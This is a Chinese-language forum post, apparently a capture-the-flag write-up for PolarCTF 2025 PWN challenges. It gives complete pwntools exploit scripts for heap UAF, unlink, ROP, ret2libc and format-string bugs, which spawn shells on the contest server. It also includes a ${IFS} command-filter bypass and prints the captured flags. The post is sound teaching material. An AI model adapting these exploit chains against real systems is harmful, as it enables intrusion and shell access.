找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

589

积分

0

好友

75

主题
发表于 前天 01:31 | 查看: 8| 回复: 0

发现秋季赛当时有一道关于 unlink 的题目没做,现在补上一篇完整的 writeup。

UAF

题目存在 UAF(Use After Free)和堆溢出漏洞。

利用思路是直接劫持 __malloc_hookone_gadget 地址。需要注意的是,可能需要通过 __realloc_hook 来调整栈环境以满足 one_gadget 的执行条件。

首先通过逆向分析关键函数。edit_chunk 函数伪代码如下:

IDA中edit_chunk函数的伪代码

delete_chunk 函数伪代码如下:

IDA中delete_chunk函数的伪代码

漏洞利用脚本如下:

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2101)
#p=process('./pwn1')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#gdb.debug('./pwn','b main')
elf = ELF('./pwn1')
libc=ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

def create(idx,size):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"index:\n", str(idx))
    p.sendlineafter(b"size:\n", str(size))
    #p.sendafter(b"Content :\n", content)

def show(idx):
    p.sendlineafter(b"choice:\n", b"4")
    p.sendlineafter(b'index:\n',str(idx))

def free(idx):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b'index:\n',str(idx))

def edit(idx, size, content):
    p.sendlineafter(b"choice:\n", b"3")
    p.sendlineafter(b"index:\n", str(idx))
    p.sendlineafter(b"length:\n", str(size))
    p.sendafter(b"content:\n", content)

create(0,0x68)#0
create(1,0x80)#1
create(2,0x68)#1

free(1) #unsortedbin
show(1)

main_arena_add88_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
main_arena_addr = main_arena_add88_addr - 88
malloc_hook_addr = main_arena_addr - 0x10
print(hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
print(hex(libc_base))
realloc = libc_base + libc.sym['realloc']
#one_gadget = libc_base + 0x45226
one_gadget = libc_base + 0x4527a
#one_gadget = libc_base + 0xf03a4
#one_gadget = libc_base + 0xf1247

free(0)

edit(0,0x68,p64(malloc_hook_addr-0x23))

create(3,0x68)
create(4,0x68)

edit(4,0x68,b'a'*(0x13-0x8)+p64(one_gadget) + p64(realloc + 8))

create(5,0x10)

p.interactive()

执行利用脚本后成功获得 flag。

成功获取flag的终端输出

得到的 flag 是 flag{8ae1c88b-eb9f-487a-bf34-831a2b40be87}

Call64

题目是一个 64 位静态编译的 ELF 文件,程序入口存在明显的栈溢出漏洞。

vuln函数中存在栈溢出漏洞

但是程序中没有现成的 /bin/sh 字符串,因此需要先构造 ROP 链来写入该字符串。利用思路是:

  1. 通过 read(0, buf, 8) 系统调用,向 .bss.data 段的 buf 位置写入 /bin/sh 字符串。
  2. 然后构造 execve('/bin/sh', 0, 0) 的 ROP 链来获取 shell。

需要注意,payload 需要一次性通过 sendline 发送。另外,使用 ROPgadget 时,如果仅使用 --only 参数可能找不到 syscall; ret; 的地址,需要加上 --all 参数。

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2146)
#p=process('./pwn2')
#p=gdb.debug('./pwn2','b main')
elf = ELF('./pwn2')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')

def debug():
    gdb.attach(p)
    pause()

buf = 0x6CA090
syscall_ret = 0x4677D5
pop_rax_ret = 0x41f804
pop_rdi_ret = 0x401636
pop_rdx_ret = 0x442cb6
pop_rsi_ret = 0x401757

#read(0, buf, 8)
payload = b'a'*(0x30+0x8)+p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(buf)+p64(pop_rdx_ret)+p64(0x8)+p64(pop_rax_ret)+p64(0)+p64(syscall_ret)

#execve('/bin/sh', 0, 0)
payload += p64(pop_rdi_ret)+p64(buf)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(pop_rax_ret)+p64(0x3b)+p64(syscall_ret)

p.sendline(payload)
p.send(b'/bin/sh\x00')

p.interactive()

执行脚本后成功获得 flag。

ROP利用成功获取shell

得到的 flag 是 flag{861d1dad-2229-433f-9ad4-e5d921b80552}

Shellcode

这是一道 32 位栈溢出题目,可以直接利用,无需编写 shellcode。libc 环境选择 libc6-i386_2.23-0ubuntu11.3_amd64

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2092)
#p=process('./pwn1')
#p=gdb.debug('./pwn1','b input')
elf = ELF('./pwn1')
#libc=ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

p.sendlineafter(b'hello hacker',b'')
payload = b'a'*(0x48+0x4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendlineafter(b'say hello:\n',payload)
puts_addr = u32(p.recv(4))
print(hex(puts_addr))

libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump("puts")
addr_system=libcbase+libc.dump("system")
addr_binsh=libcbase+libc.dump("str_bin_sh")

p.sendlineafter(b'hello hacker',b'')
payload = b'a'*(0x48+0x4)+p32(addr_system)+p32(main_addr)+p32(addr_binsh)
p.sendlineafter(b'say hello:\n',payload)

p.interactive()

利用ret2libc技术获取flag

得到的 flag 是 flag{dfdbc6ca-f417-4727-80fa-f64b9dffcc9d}

NC

这更像是一道简单的命令交互题。首先需要输入 $0 进入特殊模式。

主函数代码逻辑,包含模式切换

然后,命令过滤函数 parse_special_command 只允许特定的命令。

特殊命令解析函数

根据代码逻辑,输入 cat${IFS}flag 即可。

通过nc直接获取flag

得到的 flag 是 flag{b1d269b6-bd02-4c1d-a313-48b68d9422a7}

FMT

题目是一个存在循环的格式化字符串漏洞。

存在格式化字符串漏洞的代码

环境是 32 位 Ubuntu 16.04,libc 版本为 2.23。利用思路是:

  1. 泄露栈上的一个 libc 地址,计算 system 函数在 libc 中的地址。
  2. printf_got 内的值(printf@libc)改为 system@libc
  3. 最后输入 /bin/sh 即可 getshell。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2110)
#p=process('./pwn1')
#p=gdb.debug('./pwn1','b input')
elf = ELF('./pwn1')
libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')

def debug():
    gdb.attach(p)
    pause()

p.sendlineafter(b'Do you like PolarCTF?\n', b'yes')
p.sendlineafter(b'flag here!\n\n', b'%75$p')
p.recvuntil(b'0x')
libc_addr = int(p.recv(8),16)
libc_base = libc_addr - 0x18647
print(hex(libc_base))

system_addr = libc_base + libc.symbols['system']
printf_got = elf.got['printf'] #0x804A014

payload=fmtstr_payload(8,{printf_got:system_addr})
p.sendline(payload)

p.sendline(b'/bin/sh')

p.interactive()

格式化字符串漏洞利用成功

得到的 flag 是 flag{688558ec-5344-4619-92de-498ba018282a}

Can_libc

题目同样存在格式化字符串漏洞,可以用来泄露栈 Canary 和 libc 地址。

存在格式化字符串和栈溢出的函数

利用步骤:

  1. 利用格式化字符串泄露 Canary。
  2. 利用栈溢出,通过 puts 泄露 puts_got 的内容,从而计算 libc 基址。
  3. 选择正确的 libc 版本 (libc6-i386_2.23-0ubuntu11.3_amd64)。
  4. 再次泄露 Canary 并构造最终的 ret2libc payload。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2081)
#p=process('./pwn')
#p=gdb.debug('./pwn','b main')
elf = ELF('./pwn')
#libc=ELF('./libc-2.23.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

p.sendlineafter(b'today!\n','%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)

payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendline(payload)

puts_addr = u32(p.recvuntil(b"\xf7")[-4:])
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.sendlineafter(b'today!\n','%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(system)+p32(0xdeadbeef)+p32(binsh)
p.sendline(payload)
p.interactive()

结合格式化字符串与栈溢出的利用过程

得到的 flag 是 flag{2fe60c43-355e-4c16-bf47-043f5ebd8b21}

Stack_of

题目逻辑非常简单,需要使输入字符串的第 109 个字节(索引从0开始)的值为字符 '1' (ASCII 0x31)。

检查输入特定字节的后门函数

因此,直接输入 110 个字符 '1' 即可触发后门函数。

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2091)
#p=process('./stack_of')
#p=gdb.debug('./stack_of','b main')
#elf = ELF('./pwn')
#libc=ELF('./libc-2.23.so')

payload = b'\x31'*110
p.sendafter(b'trust.\n',payload)
p.interactive()

成功触发后门获取flag

得到的 flag 是 flag{6b2fec75-9479-40ce-ab79-098af9fb43b5}

Unlink1

这是一道在 Ubuntu 16.04 (libc 2.23) 环境下的经典 unlink 题目。程序给出了 system@plt,因此思路是利用 unlink 修改 BSS 段上 chunk 指针全局数组的值,将 free@got 的内容改为 system@plt,然后 free 掉一个内容是 /bin/sh 的块即可。

程序反汇编,存在system@plt

题目存在明显的堆溢出漏洞。

首先创建三个堆块,用于布局。

初始堆布局,包含三个chunk
全局chunk指针数组内容

编辑 chunk 0,在其内部伪造一个 fake chunk,并利用溢出修改下一个 chunk 1 的堆块头部,将其 PREV_INUSE 标志位设为 0。

关于 fake chunk 的 fdbk 设置需要绕过 unlink 宏的校验,具体原理可以参考相关文章。

fake chunk结构示意图
伪造的堆块头部数据
内存中伪造的chunk

释放 chunk 1。由于其 P 标志位为 0,会触发 unlink 向前合并。根据 prev_size 字段(0x30),会向前合并 0x30 大小的 fake chunk,读取 fdbk 指针后将其合并并放入 bins 中。

unlink后chunk1被合并入unsorted bin
查看bins状态

此时查看 BSS 段的全局 chunk 指针数组,发现 chunk[0] 指向的地址被改变了。

unlink后全局指针数组被修改

现在 chunk[0] 指向了 &chunks[0] - 0x18 的位置。填充数据后,我们就可以控制 chunks[0] 指向的地址了。我们将其改为 free_got 的地址。

修改指针指向free_got

然后编辑 chunk 0,就相当于直接修改 free_got 的值,将其改为 system@plt 的地址。

free_got被修改为system_plt

最后,编辑用于分割 top chunk 的 chunk 2,将其内容改为 /bin/sh,然后 free(2) 即可(此时 free 已被替换为 system)。

chunk2被写入/bin/sh字符串
完整的unlink利用脚本

利用脚本如下:

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p = remote('1.95.36.136', 2139)
p=process('./pwn1')
#p=gdb.debug('./pwn2','b main')
elf = ELF('./pwn1')
libc=ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

chunk_addr = 0x6020C0
fd = chunk_addr - 0x18
bk = chunk_addr - 0x10
system_plt = elf.plt['system']
free_got = elf.got['free']

def add(idx, size):
    p.sendlineafter('> ', '1')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))

def edit(idx, content):
    p.sendlineafter('> ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendafter('Content: ', content)

def free(idx):
    p.sendlineafter('> ', '3')
    p.sendlineafter('Index: ', str(idx))

add(0, 0x30)
add(1, 0x80)
add(2, 0x10)

payload = p64(0)+p64(0x20)+p64(fd)+p64(bk)+p64(0x20)+p64(0xdeadbeef)+p64(0x30)+p64(0x90)
edit(0, payload)

free(1)

payload = p64(0)*3 + p64(free_got)
edit(0, payload)

edit(0, p64(system_plt))

edit(2, b'/bin/sh\x00')
free(2)
p.interactive()

成功执行system('/bin/sh')

得到的 flag 是 flag{eb70c87a-877c-4519-8295-23f7970bb9b7}

Unlink2

这道题与前面的 unlink1 非常相似,区别在于没有给出 system@plt。因此我们需要泄露一个 libc 地址来获取 system 函数在 libc 中的地址。

前面的步骤完全一致,直到 unlink 合并后 chunk[0] 指向 &chunks[0] - 0x18 的位置。

unlink后全局指针数组状态

我们将 chunks[0]chunks[1] 覆盖为 free_gotputs_got 的地址。

覆盖指针数组为free_got和puts_got

编辑 chunk 0(即编辑 free_got 的值),使其指向 puts@plt。那么执行 free(1) 时就等同于 puts(puts_got),从而泄露 puts 函数在 libc 中的地址,进而计算出 system 的地址。

通过free(1)泄露puts地址

获得 system 地址后,再次编辑 chunk 0(即编辑 free_got 的值),将其改为 system 的地址。

将free_got修改为system地址

最后,给 chunk 2 赋值 /bin/sh,然后 free(2) 即相当于 system('/bin/sh')

内存中写入的/bin/sh字符串
完整的利用脚本,包含信息泄露

完整的利用脚本如下:

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2139)
#p=process('./pwn1')
#p=gdb.debug('./pwn2','b main')
elf = ELF('./pwn1')
libc=ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

chunk_addr = 0x6020C0
fd = chunk_addr - 0x18
bk = chunk_addr - 0x10
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']

def add(idx, size):
    p.sendlineafter('> ', '1')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))

def edit(idx, content):
    p.sendlineafter('> ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendafter('Content: ', content)

def free(idx):
    p.sendlineafter('> ', '3')
    p.sendlineafter('Index: ', str(idx))

add(0, 0x30)
add(1, 0x80)
add(2, 0x10)

payload = p64(0)+p64(0x20)+p64(fd)+p64(bk)+p64(0x20)+p64(0xdeadbeef)+p64(0x30)+p64(0x90)
edit(0, payload)

free(1)

payload = p64(0)*3 + p64(free_got) + p64(puts_got)
edit(0, payload)

edit(0, p64(puts_plt))

free(1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
system_libc=libc_base+libc.symbols['system']

edit(0, p64(system_libc))

edit(2, b'/bin/sh\x00')
free(2)
p.interactive()

最终利用成功获取flag

得到的 flag 是 flag{51d0bfd3-13d8-4233-838b-9a14e204f416}

HH

题目包含多处格式化字符串漏洞,用于修改全局变量的值,以及一处栈溢出。

首先,需要通过两处格式化字符串漏洞修改全局变量 hhh 的值,使其满足条件,从而能够执行到最后的 wel() 函数。

存在格式化字符串漏洞的get函数
存在格式化字符串漏洞的welcome函数

wel() 函数中,先有一个格式化字符串漏洞用于泄露 Canary,然后是一个栈溢出漏洞。

存在格式化字符串和栈溢出的wel函数

利用思路是:

  1. 利用前两处格式化字符串漏洞,修改全局变量。
  2. wel() 函数中,利用格式化字符串泄露 Canary。
  3. 利用栈溢出,通过 puts 泄露 puts_got 地址,计算 libc 基址。
  4. 再次执行流程,泄露 Canary 并构造最终的 ret2libc payload。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2118)
#p=process('./fmt')
#p=gdb.debug('./fmt','b wel')
elf = ELF('./fmt')
#libc=ELF('./libc-2.23.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

hh_addr = 0x804A06C
p.sendlineafter(b'wel\n',p32(hh_addr)+b'%6$n')

h_addr = 0x804A070
p.sendlineafter(b'welcome\n',p32(h_addr)+b'%1276x%6$n')

p.sendlineafter(b'Welcome !!!\n',b'%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
print(hex(canary))
p.recv()

payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendline(payload)

puts_addr = u32(p.recvuntil(b"\xf7")[-4:])
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.sendlineafter(b'wel\n',p32(hh_addr)+b'%6$n')
p.sendlineafter(b'welcome\n',p32(h_addr)+b'%1276x%6$n')

p.sendlineafter(b'Welcome !!!\n',b'%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
print(hex(canary))
p.recv()

payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(system)+p32(0xdeadbeef)+p32(binsh)
p.sendline(payload)

p.interactive()

复杂的格式化字符串与栈溢出组合利用

得到的 flag 是 flag{36b42604-0290-4144-a1ec-a62ed4476215}

以上就是本次 PolarCTF 2025 秋季个人挑战赛 PWN 方向的全部题目解析。这些题目涵盖了 UAF、堆溢出、格式化字符串、栈溢出、unlink 等多种常见的 二进制漏洞利用技术,是很好的学习与实践材料。希望这篇详尽的题解能帮助你更好地理解这些漏洞的原理与利用方法。




上一篇:高并发场景下,数据库与缓存双写:先操作谁才能保证数据一致性?
下一篇:深度解析Linux epoll内核原理:从红黑树到就绪链表的性能奥秘
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-24 02:48 , Processed in 0.271251 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表